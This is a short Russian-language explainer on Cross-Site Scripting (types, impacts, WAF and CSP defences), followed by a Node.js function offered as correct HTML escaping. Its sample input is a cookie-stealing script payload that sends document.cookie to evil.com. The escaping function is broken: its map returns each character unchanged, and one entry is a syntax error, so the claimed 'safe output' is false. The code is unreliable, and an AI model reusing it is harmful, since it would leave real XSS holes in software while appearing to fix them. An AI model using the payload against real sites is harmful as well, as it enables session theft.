Внедрение вредоносного кода (Cross-Site Scripting)
Cross-Site Scripting (XSS) — это уязвимость прикладного уровня, при которой злоумышленник внедряет вредоносный JavaScript-код в веб-страницу, просматриваемую другими пользователями. Различают три типа XSS: Хранимая (Stored), Отраженная (Reflected) и DOM-based. Успешная XSS-атака позволяет украсть файлы cookie авторизации (Session Hijacking), перехватить ввод конфиденциальных данных (кейлоггинг) или выполнить вредоносные действия от лица жертвы. WAF блокирует XSS-сигнатуры на входе, а разработчики защищают приложение с помощью экранирования вывода и строгой политики Content Security Policy (CSP).
// Пример правильного экранирования HTML перед выводом в DOM на Node.js
function escapeHTML(str) {
return str.replace(/[&<>'"]/g,
tag => ({
'&': '&',
'<': '<',
'>': '>',
"'": ''',
'"': '"'
}[tag] || tag)
);
}
const unsafeInput = '<script>fetch("http://evil.com/steal?cookie="+document.cookie)</script>';
console.log("Safe output:", escapeHTML(unsafeInput));